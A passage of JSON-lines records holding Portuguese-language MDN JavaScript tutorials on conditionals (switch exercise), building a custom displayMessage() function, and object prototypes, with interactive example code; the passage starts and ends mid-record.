document.getElementById(\"reset\");\nvar solution = document.getElementById(\"solution\");\nvar code = textarea.value;\n\nfunction updateCode() {\n  eval(textarea.value);\n}\n\nreset.addEventListener(\"click\", function () {\n  textarea.value = code;\n  updateCode();\n});\n\nsolution.addEventListener(\"click\", function () {\n  textarea.value = jsSolution;\n  updateCode();\n});\n\nvar jsSolution =\n  \"var select = document.querySelector('select');\\nvar list = document.querySelector('ul');\\nvar h1 = document.querySelector('h1');\\n\\nselect.onchange = function() {\\n var choice = select.value;\\n var days = 31;\\n if(choice === 'February') {\\n days = 28;\\n } else if(choice === 'April' || choice === 'June' || choice === 'September'|| choice === 'November') {\\n days = 30;\\n }\\n\\n createCalendar(days, choice);\\n}\\n\\nfunction createCalendar(days, choice) {\\n list.innerHTML = '';\\n h1.textContent = choice;\\n for(var i = 1; i <= days; i++) {\\n var listItem = document.createElement('li');\\n listItem.textContent = i;\\n list.appendChild(listItem);\\n }\\n }\\n\\ncreateCalendar(31,'January');\";\n\ntextarea.addEventListener(\"input\", updateCode);\nwindow.addEventListener(\"load\", updateCode);\n```\n\nAprendizado ativo: mais opções de cores!\n----------------------------------------\n\nNeste exemplo, você terá o exemplo de operador ternário que vimos anteriormente e converterá o operador ternário em uma instrução switch que nos permitirá aplicar mais opções ao site simples. Olhe para a `<select>` — desta vez você verá que não tem duas opções de tema, mas cinco. Você precisa adicionar uma instrução switch abaixo do comentário `// ADD SWITCH STATEMENT`:\n\n* Ele deve aceitar a variável `choice` como sua expressão de entrada.\n* Para cada caso, a escolha deve ser igual a um dos valores possíveis que podem ser selecionados, ou seja, branco, preto, roxo, amarelo ou psicodélico.\n* Para cada caso, a função `update()` deve ser executada e receber dois valores de cor, o primeiro para a cor de segundo plano e o segundo para a cor do texto. Lembre-se de que valores de cores são strings, portanto, precisam ser agrupados entre aspas.\n\nSe você cometer um erro, você sempre pode redefinir o exemplo com o botão \"Reset\". Se você ficar realmente travado, pressione \"Show solution\" para ver uma solução.\n```\n\n<div class=\"output\" style=\"height: 300px;\">\n  <label for=\"theme\">Select theme: </label>\n  <select id=\"theme\">\n    <option value=\"white\">White</option>\n    <option value=\"black\">Black</option>\n    <option value=\"purple\">Purple</option>\n    <option value=\"yellow\">Yellow</option>\n    <option value=\"psychedelic\">Psychedelic</option>\n  </select>\n\n  <h1>This is my website</h1>\n</div>\n\n<hr />\n\n<textarea id=\"code\" class=\"playable-code\" style=\"height: 450px;\">\nvar select = document.querySelector('select');\nvar html = document.querySelector('.output');\n\nselect.onchange = function() {\n  var choice = select.value;\n\n  // ADD SWITCH STATEMENT\n}\n\nfunction update(bgColor, textColor) {\n  html.style.backgroundColor = bgColor;\n  html.style.color = textColor;\n}</textarea\n>\n\n<div class=\"playable-buttons\">\n  <input id=\"reset\" type=\"button\" value=\"Reset\" />\n  <input id=\"solution\" type=\"button\" value=\"Show solution\" />\n</div>\n```\n\n\n```\nvar textarea = document.getElementById(\"code\");\nvar reset = document.getElementById(\"reset\");\nvar solution = document.getElementById(\"solution\");\nvar code = textarea.value;\n\nfunction updateCode() {\n  eval(textarea.value);\n}\n\nreset.addEventListener(\"click\", function () {\n  textarea.value = code;\n  updateCode();\n});\n\nsolution.addEventListener(\"click\", function () {\n  textarea.value = jsSolution;\n  updateCode();\n});\n\nvar jsSolution =\n  \"var select = document.querySelector('select');\\nvar html = document.querySelector('.output');\\n\\nselect.onchange = function() {\\n var choice = select.value;\\n\\n switch(choice) {\\n case 'black':\\n update('black','white');\\n break;\\n case 'white':\\n update('white','black');\\n break;\\n case 'purple':\\n update('purple','white');\\n break;\\n case 'yellow':\\n update('yellow','darkgray');\\n break;\\n case 'psychedelic':\\n update('lime','purple');\\n break;\\n }\\n}\\n\\nfunction update(bgColor, textColor) {\\n html.style.backgroundColor = bgColor;\\n html.style.color = textColor;\\n}\";\n\ntextarea.addEventListener(\"input\", updateCode);\nwindow.addEventListener(\"load\", updateCode);\n```\n\nConclusão\n---------\n\nE isso é tudo que você realmente precisa saber sobre estruturas condicionais no JavaScript por agora! Tenho certeza que você terá entendido esses conceitos e trabalhou com os exemplos com facilidade; se houver algo que você não tenha entendido, sinta-se à vontade para ler o artigo novamente ou contate-nos para pedir ajuda.\n\nVeja também\n-----------\n\n* Operadores de comparação\n* Declarações condicionais em detalhes\n* Referência if...else\n* Referência do operador condicional (ternário)\nTeste suas habilidades!\n-----------------------\n\nVocê chegou ao final deste artigo, mas você consegue se lembrar das informações mais importantes? Você pode encontrar mais alguns testes para verificar se reteve essas informações antes de prosseguir — Veja Teste suas habilidades: Condicionais (en-US).\n\n* Menu: Building blocks\n* Próxima"}
{"title":"Construa sua própria função - Aprendendo desenvolvimento web","text":"Construa sua própria função\n===========================\n\n* Anterior\n* Menu: Building blocks\n* Próxima\n\nCom a maior parte da teoria essencial tratada no artigo anterior, este artigo fornece experiência prática. Aqui você terá algumas práticas construindo sua própria função personalizada. Ao longo do caminho, também explicaremos alguns detalhes úteis sobre como lidar com funções.\n\n|  |  |\n| --- | --- |\n| Pré-requisitos: | \n Alfabetização básica em informática, um entendimento básico de HTML e\n CSS,\n Primeiros passos do JavaScript,\n Funções — blocos reutilizáveis de código.\n  |\n| Objetiva: | \n Para fornecer alguma prática na criação de uma função personalizada e\n explicar alguns detalhes associados mais úteis.\n  |\n\nAprendizagem ativa: vamos construir uma função\n----------------------------------------------\n\nA função personalizada que vamos construir será chamada `displayMessage()`. Ele exibirá uma caixa de mensagem personalizada em uma página da Web e atuará como um substituto personalizado para a função de alert() interna do navegador. Já vimos isso antes, mas vamos apenas refrescar nossas memórias. Digite o seguinte no console JavaScript do seu navegador, em qualquer página de sua preferência:\n\n\n```js\nalert(\"This is a message\");\n```\n\n\nA função `alert` leva um único argumento — a string exibida na caixa de alerta. Tente variar a string para mudar a mensagem.\n\nA função `alert` é limitada: você pode alterar a mensagem, mas não pode variar com facilidade nada, como cor, ícone ou qualquer outra coisa. Nós vamos construir um que se mostrará mais divertido.\n\n**Nota:** Este exemplo deve funcionar bem em todos os navegadores modernos, mas o estilo pode parecer um pouco engraçado em navegadores um pouco mais antigos. Recomendamos que você faça esse exercício em um navegador moderno como o Firefox, o Opera ou o Chrome.\n\nA função básica\n---------------\n\nPara começar, vamos montar uma função básica.\n\n**Nota:** Para convenções de nomenclatura de função, você deve seguir as mesmas regras das convenções de nomenclatura de variáveis. Algo bom é como você pode diferenciá-los — os nomes das funções aparecem com parênteses depois deles e as variáveis não.\n\n1. Comece acessando o arquivo function-start.html e fazendo uma cópia local. Você verá que o HTML é simples — o corpo contém apenas um único botão. Também fornecemos algumas CSS básicas para estilizar a caixa de mensagem personalizada e um elemento `<script>` vazio para colocar nosso JavaScript.\n2. Em seguida, adicione o seguinte dentro do elemento `<script>` :\n\n```js\nfunction displayMessage() {}\n```\n\nComeçamos com a palavra-chave `function`, o que significa que estamos definindo uma função. Isto é seguido pelo nome que queremos dar à nossa função, um par de parênteses e um conjunto de chaves. Quaisquer parâmetros que queremos dar à nossa função vão dentro dos parênteses, e o código que é executado quando chamamos a função vai dentro das chaves.\n3. Por fim, adicione o seguinte código dentro das chaves:\n\n```js\nvar html = document.querySelector(\"html\");\n\nvar panel = document.createElement(\"div\");\npanel.setAttribute(\"class\", \"msgBox\");\nhtml.appendChild(panel);\n\nvar msg = document.createElement(\"p\");\nmsg.textContent = \"This is a message box\";\npanel.appendChild(msg);\n\nvar closeBtn = document.createElement(\"button\");\ncloseBtn.textContent = \"x\";\npanel.appendChild(closeBtn);\n\ncloseBtn.onclick = function () {\n  panel.parentNode.removeChild(panel);\n};\n```\n\n\nIsso é um monte de código para passar, então vamos guiá-lo pouco a pouco.\n\nA primeira linha usa uma função da API do DOM chamada `document.querySelector()` para selecionar o elemento `<html>` e armazenar uma referência a ele em uma variável chamada `html`, para que possamos fazer coisas com ela mais tarde:\n\n\n```js\nvar html = document.querySelector(\"html\");\n```\n\n\nA próxima seção usa outra função da API do DOM chamada `Document.createElement()` para criar um elemento `<div>` elemento e armazenar uma referência a ele em uma variável chamada `panel`. Este elemento será o recipiente externo da nossa caixa de mensagens.\n\nEm seguida, usamos outra função da API do DOM chamada `Element.setAttribute()` para setar o atributo `class` atributo no nosso painel com um valor de `msgBox`. Isso é para facilitar o estilo do elemento — se você olhar para o CSS na página, verá que estamos usando um seletor de classe `.msgBox` para estilizar a caixa de mensagem e seu conteúdo.\n\nFinalmente, chamamos uma função DOM chamada `Node.appendChild()` na variável `html` que armazenamos anteriormente, que nidifica um elemento dentro do outro como um filho dele. Nós especificamos o painel `<div>` como o filho que queremos acrescentar dentro do elemento `<html>` Precisamos fazer isso porque o elemento que criamos não aparecerá na página sozinho — precisamos especificar onde colocá-lo.\n\n\n```js\nvar panel = document.createElement(\"div\");\npanel.setAttribute(\"class\", \"msgBox\");\nhtml.appendChild(panel);\n```\n\n\nAs próximas duas seções fazem uso das mesmas funções `createElement()` e `appendChild()` que já vimos para criar dois novos elementos — um `<p>` e um `<button>` — e inseri-los na página como filhos do painel `<div>`. Nós usamos a sua propriedade `Node.textContent` — que representa o conteúdo de texto de um elemento — para inserir uma mensagem dentro do parágrafo e um 'x' dentro do botão. Este botão será o que precisa ser clicado / ativado quando o usuário quiser fechar a caixa de mensagem.\n\n\n```js\nvar msg = document.createElement(\"p\");\nmsg.textContent = \"This is a message box\";\npanel.appendChild(msg);\n\nvar closeBtn = document.createElement(\"button\");\ncloseBtn.textContent = \"x\";\npanel.appendChild(closeBtn);\n```\n\n\nFinalmente, usamos um manipulador eventos `GlobalEventHandlers.onclick` para fazer com que, quando o botão é clicado, algum código seja executado para excluir todo o painel da página — para fechar a caixa de mensagem.\n\nResumidamente, o manipulador `onclick` é uma propriedade disponível no botão (ou, na verdade, qualquer elemento na página) que pode ser definida para uma função para especificar qual código será executado quando o botão for clicado. Você aprenderá muito mais sobre isso em nosso artigo de eventos posteriores. Estamos tornando o manipulador `onclick` igual a uma função anônima, que contém o código a ser executado quando o botão é clicado. A linha dentro da função usa a função da API do DOM `Node.removeChild()` para especificar que queremos remover um elemento filho específico do elemento HTML — nesse caso, o painel `<div>`.\n\n\n```js\ncloseBtn.onclick = function () {\n  panel.parentNode.removeChild(panel);\n};\n```\n\n\nBasicamente, todo esse bloco de código está gerando um bloco de HTML semelhante a isso e inserindo-o na página:\n\n\n```html\n<div class=\"msgBox\">\n  <p>This is a message box</p>\n  <button>x</button>\n</div>\n```\n\n\nIsso foi um monte de código para trabalhar — não se preocupe muito se você não se lembra exatamente como tudo funciona agora! A parte principal que queremos focar aqui é a estrutura e uso da função, mas queremos mostrar algo interessante para este exemplo.\n\nChamando a função\n-----------------\n\nVocê tem sua própria definição de função escrita em seu elemento `<script>`, mas não fará nada do jeito que está.\n\n1. Tente incluir a seguinte linha abaixo da sua função para chamá-lo:\n\n```js\ndisplayMessage();\n```\n\nEsta linha chama a função, fazendo com que ela seja executada imediatamente. Quando você salvar seu código e recarregá-lo no navegador, verá a pequena caixa de mensagem aparecer imediatamente, apenas uma vez. Nós só estamos chamando uma vez, afinal.\n2. Agora abra suas ferramentas de desenvolvedor do navegador na página de exemplo, vá para o console JavaScript e digite a linha novamente, você verá que ela aparece novamente! Então isso é divertido — agora temos uma função reutilizável que podemos chamar a qualquer momento que quisermos.\n Mas provavelmente queremos que apareça em resposta a ações do usuário e do sistema. Em um aplicativo real, essa caixa de mensagem provavelmente seria chamada em resposta a novos dados sendo disponibilizados, ou um erro ocorreria, ou o usuário tentando excluir seu perfil (\"você tem certeza disso?\") Ou o usuário adicionando um novo contato e a operação completando com sucesso ... etc.\n Nesta demonstração, faremos com que a caixa de mensagem apareça quando o usuário clicar no botão.\n3. Exclua a linha anterior que você adicionou.\n4. Em seguida, vamos selecionar o botão e armazenar uma referência a ele em uma variável. Adicione a seguinte linha ao seu código, acima da definição da função:\n\n```js\nvar btn = document.querySelector(\"button\");\n```\n\n5. Por fim, adicione a seguinte linha abaixo da anterior:\n\n```js\nbtn.onclick = displayMessage;\n```\n\nDe maneira semelhante à nossa linha `closeBtn.onclick...` dentro da função, aqui estamos chamando algum código em resposta a um botão sendo clicado. Mas, neste caso, em vez de chamar uma função anônima contendo algum código, estamos chamando nosso nome de função diretamente.\n6. Tente salvar e atualizar a página — agora você verá a caixa de mensagem quando clicar no botão.\n\nVocê pode estar se perguntando por que não incluímos os parênteses após o nome da função. Isso ocorre porque não queremos chamar a função imediatamente — somente depois que o botão foi clicado. Se você tentar mudar a linha para\n\n\n```js\nbtn.onclick = displayMessage();\n```\n\n\ne salvar e recarregar, você verá que a caixa de mensagem aparece sem que o botão seja clicado! Os parênteses neste contexto são às vezes chamados de \"operador de invocação de função\". Você só os usa quando deseja executar a função imediatamente no escopo atual. No mesmo sentido, o código dentro da função anônima não é executado imediatamente, pois está dentro do escopo da função.\n\nSe você tentou o último experimento, certifique-se de desfazer a última alteração antes de continuar.\n\nMelhorando a função com parâmetros\n----------------------------------\n\nTal como está, a função ainda não é muito útil — nós não queremos apenas mostrar a mesma mensagem padrão todas as vezes. Vamos melhorar nossa função adicionando alguns parâmetros, permitindo-nos chamá-lo com algumas opções diferentes.\n\n1. Primeiro de tudo, atualize a primeira linha da função:\n\n```js\nfunction displayMessage() {\n```\n\npara isso:\n\n```js\nfunction displayMessage(msgText, msgType) {\n```\n\nAgora, quando chamamos a função, podemos fornecer dois valores de variáveis dentro dos parênteses para especificar a mensagem a ser exibida na caixa de mensagem e o tipo de mensagem que ela é.\n2. Para utilizar o primeiro parâmetro, atualize a seguinte linha dentro da sua função:\n\n```js\nmsg.textContent = \"This is a message box\";\n```\n\nto\n\n```js\nmsg.textContent = msgText;\n```\n\n3. Por último, mas não menos importante, você precisa atualizar sua chamada de função para incluir um texto de mensagem atualizado. Altere a seguinte linha:\n\n```js\nbtn.onclick = displayMessage;\n```\n\npara este bloco:\n\n```js\nbtn.onclick = function () {\n  displayMessage(\"Woo, this is a different message!\");\n};\n```\n\nSe quisermos especificar parâmetros dentro de parênteses para a função que estamos chamando, então não podemos chamá-la diretamente — precisamos colocá-lo dentro de uma função anônima para que não fique no escopo imediato e, portanto, não seja chamado imediatamente. Agora ele não será chamado até que o botão seja clicado.\n4. Recarregue e tente o código novamente e você verá que ele ainda funciona muito bem, exceto que agora você também pode variar a mensagem dentro do parâmetro para obter mensagens diferentes exibidas na caixa!\n### Um parâmetro mais complexo\n\nPara o próximo parâmetro. Este vai envolver um pouco mais de trabalho — vamos configurá-lo para que, dependendo do parâmetro `msgType`, a função mostre um ícone diferente e uma cor de fundo diferente.\n\n1. Primeiro de tudo, baixe os ícones necessários para este exercício (aviso e batepapo) do GitHub. Salve-os em uma nova pasta chamada `icons` no mesmo local que seu arquivo HTML.\n\n**Nota:** Os icones aviso e batepapo são encontrado em iconfinder.com, e desenhados por Nazarrudin Ansyari. Obrigado!\n2. Em seguida, encontre o CSS dentro do seu arquivo HTML. Faremos algumas alterações para abrir caminho para os ícones. Primeiro, atualize a largura do `.msgBox` de:\n\n```css\nwidth: 200px;\n```\n\npara:\n\n```css\nwidth: 242px;\n```\n\n3. Em seguida, adicione as seguintes linhas dentro da regra `.msgBox p { ... }`:\n\n```css\npadding-left: 82px;\nbackground-position: 25px center;\nbackground-repeat: no-repeat;\n```\n\n4. Agora precisamos adicionar código à nossa função `displayMessage()` para manipular a exibição dos ícones. Adicione o seguinte bloco logo acima da chave de fechamento (`}`) da sua função:\n\n```js\nif (msgType === \"warning\") {\n  msg.style.backgroundImage = \"url(icons/warning.png)\";\n  panel.style.backgroundColor = \"red\";\n} else if (msgType === \"chat\") {\n  msg.style.backgroundImage = \"url(icons/chat.png)\";\n  panel.style.backgroundColor = \"aqua\";\n} else {\n  msg.style.paddingLeft = \"20px\";\n}\n```\n\nAqui, se o parâmetro `msgType` estiver definido como `'warning'`, o ícone de aviso será exibido e a cor de fundo do painel será definida como vermelha. Se estiver definido para `'chat'`, o ícone de bate-papo é exibido e a cor de fundo do painel é definida como azul aqua. Se o parâmetro `msgType` não estiver definido (ou para algo diferente), então a parte `else { ... }` do código entra em jogo, e o parágrafo é simplesmente fornecido padding padrão e nenhum ícone, sem conjunto de cores do painel de fundo também. Isso fornece um estado padrão se nenhum parâmetro `msgType` for fornecido, significando que é um parâmetro opcional!\n5. Vamos testar nossa função atualizada, tente atualizar a chamada `displayMessage()` a partir disso:\n\n```js\ndisplayMessage(\"Woo, this is a different message!\");\n```\n\npara um destes:\n\n```js\ndisplayMessage(\"Your inbox is almost full — delete some mails\", \"warning\");\ndisplayMessage(\"Brian: Hi there, how are you today?\", \"chat\");\n```\n\nVocê pode ver como a nossa pequena função (agora nem tanto) está se tornando útil.\n\n**Nota:** Se você tiver problemas para fazer o exemplo funcionar, sinta-se à vontade para verificar seu código na versão finalizada no GitHub (veja-a também em execução), ou peça nos ajuda.\n\nConclusão\n---------\n\nParabéns por chegar ao final! Este artigo levou você ao longo de todo o processo de criação de uma função prática personalizada, que com um pouco mais de trabalho poderia ser transplantada em um projeto real. No próximo artigo, vamos encerrar as funções explicando outro conceito relacionado essencial — valores de retorno.\n\n* Anterior\n* Menu: Building blocks\n* Próxima"}
{"title":"Protótipos de objetos - Aprendendo desenvolvimento web","text":"Protótipos de objetos\n=====================\n\n* Anterior\n* Menu: Objects\n* Próxima\n\nProtótipos são o mecanismo pelo qual objetos JavaScript herdam recursos uns dos outros. Neste artigo, explicamos como as cadeias de protótipos funcionam e observamos como a propriedade prototype pode ser usada para adicionar métodos aos construtores existentes.\n\n|  |  |\n| --- | --- |\n| Pré-requisitos: | \n Entender como funções em JavaScript funcionam, familiaridade com o\n básico de JavaScript (veja\n Primeiros Passos\n e\n Elementos Construtivos), e o básico de Orientação a Objetos em JavaScript (veja\n Introdução a Objetos).\n  |\n| Objetivo: | \n Entender protótipos de objetos JavaScript, como a cadeia de protótipos\n funciona, e como adicionar novos métodos à propriedade\n *prototype.* |\n\nUma linguagem baseada em protótipos?\n------------------------------------\n\nO JavaScript é frequentemente descrito como uma **linguagem baseada em protótipos** — para fornecer herança, os objetos podem ter um **objeto de protótipo**, que atua como um objeto de modelo do qual herda métodos e propriedades. O objeto de protótipo de um objeto também pode ter um objeto de protótipo, do qual herda métodos e propriedades, e assim por diante. Isso geralmente é chamado de **cadeia de protótipos** e explica por que objetos diferentes têm propriedades e métodos definidos em outros objetos disponíveis para eles.\n\nBem, para ser exato, as propriedades e os métodos são definidos na propriedade `prototype` nas funções construtoras dos Objetos, não nas próprias instâncias do objeto.\n\nEm JavaScript, é feito um link entre a instância do objeto e seu protótipo (sua propriedade `__proto__`, que é derivada da propriedade `prototype` no construtor), e as propriedades e os métodos são encontrados percorrendo a cadeia de protótipos.\n\n**Nota:** É importante entender que há uma distinção entre o protótipo de um objeto (que está disponível por meio de `Object.getPrototypeOf(obj)`, ou por meio da propriedade `__proto__` ) e a propriedade `prototype` em funções construtoras. O primeiro é a propriedade em cada instância e o último é a propriedade no construtor. Ou seja, `Object.getPrototypeOf(new Foobar())` refere-se ao mesmo objeto que `Foobar.prototype`.\n\nVejamos um exemplo para tornar isso um pouco mais claro.\n\nNoções básicas sobre objetos de protótipo\n-----------------------------------------\n\nAqui voltaremos ao exemplo em que terminamos de escrever nosso construtor `Person()` — carregamos o exemplo em seu navegador. Se você ainda não o conseguiu trabalhar no último artigo, use nosso exemplo oojs-class-further-exercises.html (veja também o código-fonte).\n\nNeste exemplo, definimos uma função construtora, assim:\n\n\n```js\nfunction Person(first, last, age, gender, interests) {\n  // property and method definitions\n  this.first = first;\n  this.last = last;\n  //...\n}\n```\n\n\nNós criamos então uma instância de objeto como esta:\n\n\n```js\nvar person1 = new Person(\"Bob\", \"Smith\", 32, \"male\", [\"music\", \"skiing\"]);\n```\n\n\nSe você digitar \"`person1.`\" em seu console JavaScript, você deve ver o navegador tentar concluir automaticamente isso com os nomes de membros disponíveis neste objeto:\n\n![](/pt-BR/docs/Learn/JavaScript/Objects/Object_prototypes/object-available-members.png)\n\nNesta lista, você verá os membros definidos no construtor de `person1`'s constructor — `Person()` — `name`, `age`, `gender`, `interests`, `bio`, e `greeting`. No entanto, você também verá alguns outros membros — `watch`, `valueOf`, etc — estes estão definidos no objeto de protótipo do `Person()`, que é `Object`.\n\n![](/pt-BR/docs/Learn/JavaScript/Objects/Object_prototypes/mdn-graphics-person-person-object-2.png)\n\nO que acontece se você chamar um método em `person1`, que é realmente definido em `Object`? Por exemplo:\n\n\n```js\nperson1.valueOf();\n```\n\n\nEste método — `Object.valueOf()` é herdado por `person1` porque seu construtor é `Person()`, e o protótipo de `Person()` é `Object()`. `valueOf()` retorna o valor do objeto em que é chamado — experimente e veja! Nesse caso, o que acontece é:\n\n* O navegador verifica inicialmente se o objeto `person1` tem um método `valueOf()` disponível nele, conforme definido em seu construtor, `Person()`.\n* Se não tem, então o navegador verifica se o objeto (`Object()`) de protótipo do construtor `Person()` tem um método `valueOf()` disponível, então ele é chamado, e tudo está bem!\n\n**Nota:** Queremos reiterar que os métodos e as propriedades **não** são copiados de um objeto para outro na cadeia de protótipos — eles são acessados ao percorrer a cadeia como descrito acima.\n\n**Nota:** Não existe uma maneira oficial de acessar diretamente o objeto protótipo de um objeto — os \"links\" entre os itens da cadeia são definidos em uma propriedade interna, chamada de `[[prototype]]` na especificação da linguagem JavaScript (veja ECMAScript (en-US)). A maioria dos navegadores modernos, no entanto, tem uma propriedade disponível neles chamada `__proto__` (que é sublinhada em ambos os lados), que contém o objeto de protótipo do construtor do objeto. Por exemplo, tente `person1.__proto__` and `person1.__proto__.__proto__` para ver como a cadeia se parece no código!\n\nDesde ECMAScript 2015 você pode acessar o objeto protótipo de um objeto indiretamente via `Object.getPrototypeOf(obj)`.\n\nA propriedade prototype: Onde os membros herdados são definidos\n---------------------------------------------------------------\n\nEntão, onde estão as propriedades e os métodos herdados definidos? Se você observar a página de referência do `Object`, verá, à esquerda, um grande número de propriedades e métodos — muito mais do que o número de membros herdados que vimos disponíveis no objeto `person1`. Alguns são herdados e outros não — por que isso acontece?\n\nComo mencionado acima, os herdados são os definidos na propriedade `prototype` (você poderia chamá-lo de um subespaço de nomes) — ou seja, aqueles que começam com `Object.prototype`, e não os que começam com apenas `Object`. O valor da propriedade `prototype` é um objeto, que é basicamente um bucket para armazenar propriedades e métodos que queremos que sejam herdados por objetos mais abaixo na cadeia de protótipos.\n\nPortanto, `Object.prototype.watch()`, `Object.prototype.valueOf()`, etc., estão disponíveis para qualquer tipo de objeto que herda de `Object.prototype`, incluindo novas instâncias de objeto criadas a partir do construtor `Person()`.\n\n`Object.is()`, `Object.keys()`, e outros membros não definidos dentro do bloco `prototype` não são herdados por instâncias de objetos ou tipos de objetos que herdam de `Object.prototype`. Eles são métodos / propriedades disponíveis apenas no próprio construtor `Object()`.\n\n**Nota:** Isso parece estranho — como você pode ter um método definido em um construtor, que é em si uma função? Bem, uma função também é um tipo de objeto — veja a referência do construtor `Function()` se você não acredita em nós.\n\n1. Você pode conferir as propriedades de protótipo existentes para si mesmo — volte ao nosso exemplo anterior e tente inserir o seguinte no console JavaScript:\n\n```js\nPerson.prototype;\n```\n\n2. A saída não mostrará muito porque não definimos nada no protótipo do nosso construtor personalizado! Por padrão, o `prototype` de um construtor sempre começa vazio. Agora tente o seguinte:\n\n```js\nObject.prototype;\n```\n\n\nVocê verá um grande número de métodos definidos na propriedade `prototype` do `Object`, que estão disponíveis em objetos que herdam `Object`, como mostrado anteriormente.\n\nVocê verá outros exemplos de herança de cadeia de protótipos em todo o JavaScript — tente procurar os métodos e propriedades definidos no protótipo dos objetos globais `String`, `Date`, `Number`, e `Array`, por exemplo. Estes todos têm um número de membros definidos em seu protótipo, e é por isso que, por exemplo, quando você cria uma string, como esta:\n\n\n```js\nvar myString = \"This is my string.\";\n```\n\n\n`myString` imediatamente tem vários métodos úteis disponíveis, como `split()`, `indexOf()`, `replace()`, etc.\n\n**Nota:** Vale a pena ler nosso guia mais aprofundado sobre Como usar protótipos em JavaScript, uma vez que você tenha entendido esta seção e queira saber mais. Esta seção é intencionalmente simplificada para tornar esses conceitos um pouco mais fáceis de entender quando você os conhecer pela primeira vez.\n\n**Aviso:** **Importante**: A propriedade `prototype` é uma das partes com o nome mais confuso do JavaScript — você pode pensar que `this` aponta para o objeto de protótipo do objeto atual, mas não (esse é um objeto interno que pode ser acessado por `__proto__`, lembra?) . Em vez disso, `prototype` é uma propriedade que contém um objeto no qual você define os membros que deseja herdar.\n\nRevisitando create()\n--------------------\n\nAnteriormente mostramos como o método `Object.create()` pode ser usado para criar uma nova instância de objeto.\n\n1. Por exemplo, tente isso no console JavaScript do seu exemplo anterior:\n\n```js\nvar person2 = Object.create(person1);\n```\n\n2. O que `create()` realmente faz é criar um novo objeto a partir de um objeto de protótipo especificado. Aqui, `person2` está sendo criado usando `person1` como um objeto de protótipo. Você pode verificar isso inserindo o seguinte no console:\n\n```js\nperson2.__proto__;\n```\n\n\nIsso retornará o person1.\n\nA propriedade do construtor\n---------------------------\n\nToda função de construtor possui uma propriedade prototype cujo valor é um objeto que contém uma propriedade `constructor`. Esta propriedade construtora aponta para a função construtora original. Como você verá na próxima seção, as propriedades definidas na propriedade Person.prototype (ou, em geral, na propriedade prototype de uma função construtora, que é um objeto, conforme mencionado na seção acima) tornam-se disponíveis para todos os objetos de instância criados usando Construtor Person(). Portanto, a propriedade constructor também está disponível para os objetos person1 e person2.\n\n1. Por exemplo, tente estes comandos no console:\n\n```js\nperson1.constructor;\nperson2.constructor;\n```\n\nEstes devem retornar o construtor `Person()`, pois contém a definição original dessas instâncias.\n Um truque inteligente é que você pode colocar parênteses no final da propriedade do `constructor` (contendo quaisquer parâmetros necessários) para criar outra instância de objeto daquele construtor. O construtor é uma função depois de tudo, então pode ser chamado usando parênteses; você só precisa incluir a palavra-chave `new` para especificar que deseja usar a função como um construtor.\n2. Tente isso no console:\n\n```js\nvar person3 = new person1.constructor(\"Karen\", \"Stephenson\", 26, \"female\", [\n  \"playing drums\",\n  \"mountain climbing\",\n]);\n```\n\n3. Agora tente acessar os recursos do seu novo objeto, por exemplo:\n\n```js\nperson3.name.first;\nperson3.age;\nperson3.bio();\n```\n\n\nIsso funciona bem. Você não precisará usá-lo com frequência, mas pode ser realmente útil quando você deseja criar uma nova instância e não tem uma referência ao construtor original facilmente disponível por algum motivo.\n\nA propriedade do `constructor` tem outros usos. Por exemplo, se você tiver uma instância de objeto e desejar retornar o nome do construtor do qual ela é uma instância, use o seguinte:\n\n\n```js\ninstanceName.constructor.name;\n```\n\n\nTente isso, por exemplo:\n\n\n```js\nperson1.constructor.name;\n```\n\n\n**Nota:** O valor de `constructor.name` pode mudar (devido à herança prototípica, ligação, pré-processadores, transpilers, etc.), portanto, para exemplos mais complexos, você desejará usar o operador `instanceof`.\n\nModificando Protótipos\n----------------------\n\nVamos dar uma olhada em um exemplo de modificação da propriedade `prototype` de uma função construtora — os métodos adicionados ao protótipo estão então disponíveis em todas as instâncias de objeto criadas a partir do construtor. Neste ponto, finalmente adicionaremos algo ao protótipo do nosso construtor `Person()`.\n\n1. Volte para o nosso exemplo de oojs-class-further-exercises.html e faça uma cópia local do código-fonte. Abaixo do JavaScript existente, adicione o seguinte código, que adiciona um novo método à propriedade `prototype` do construtor:\n\n```js\nPerson.prototype.farewell = function () {\n  alert(this.name.first + \" has left the building. Bye for now!\");\n};\n```\n\n2. Salve o código e carregue a página no navegador e tente inserir o seguinte na entrada de texto:\n\n```js\nperson1.farewell();\n```\n\n\nVocê deve receber uma mensagem de alerta, mostrando o nome da pessoa, conforme definido dentro do construtor. Isso é realmente útil, mas o que é ainda mais útil é que toda a cadeia de herança foi atualizada dinamicamente, disponibilizando automaticamente esse novo método em todas as instâncias de objeto derivadas do construtor.\n\nPense nisso por um momento. Em nosso código, definimos o construtor, então criamos um objeto de instância a partir do construtor, então adicionamos um novo método ao protótipo do construtor:\n\n\n```js\nfunction Person(first, last, age, gender, interests) {\n  // property and method definitions\n}\n\nvar person1 = new Person(\"Tammi\", \"Smith\", 32, \"neutral\", [\n  \"music\",\n  \"skiing\",\n  \"kickboxing\",\n]);\n\nPerson.prototype.farewell = function () {\n  alert(this.name.first + \" has left the building. Bye for now!\");\n};\n```\n\n\nMas o método `farewell()` ainda está disponível na instância do objeto `person1` — seus membros foram atualizados automaticamente para incluir o método `farewell()`.\n\n**Nota:** Se você está tendo problemas para fazer este exemplo funcionar, dê uma olhada no nosso exemplo oojs-class-prototype.html (veja também running live).\n\nVocê raramente verá propriedades definidas na propriedade `prototype`, porque elas não são muito flexíveis quando definidas dessa forma. Por exemplo, você poderia adicionar uma propriedade assim:\n\n\n```js\nPerson.prototype.fullName = \"Bob Smith\";\n```\n\n\nIsso não é muito flexível, pois a pessoa pode não ser chamada assim. Seria muito melhor construir o `fullName` fora do `name.first` e `name.last`:\n\n\n```js\nPerson.prototype.fullName = this.name.first + \" \" + this.name.last;\n```\n\n\nNo entanto, isso não funciona, pois `this` fará referência ao escopo global nesse caso, não ao escopo da função. Chamar essa propriedade retornaria `undefined undefined`. Isso funcionou bem no método que definimos anteriormente no protótipo porque ele está dentro um escopo de função, que será transferido com sucesso para o escopo da instância do objeto, portanto, você pode definir propriedades constantes no protótipo (ou seja, aquelas que nunca precisam ser alteradas), mas geralmente funciona melhor definir propriedades dentro do construtor.\n\nNa verdade, um padrão bastante comum para mais definições de objetos é definir as propriedades dentro do construtor e os métodos no protótipo. Isso torna o código mais fácil de ler, pois o construtor contém apenas as definições de propriedade e os métodos são divididos em blocos separados. Por exemplo:\n\n\n```js\n// Constructor with property definitions\n\nfunction Test(a, b, c, d) {\n  // property definitions\n}\n\n// First method definition\n\nTest.prototype.x = function() { ... };\n\n// Second method definition\n\nTest.prototype.y = 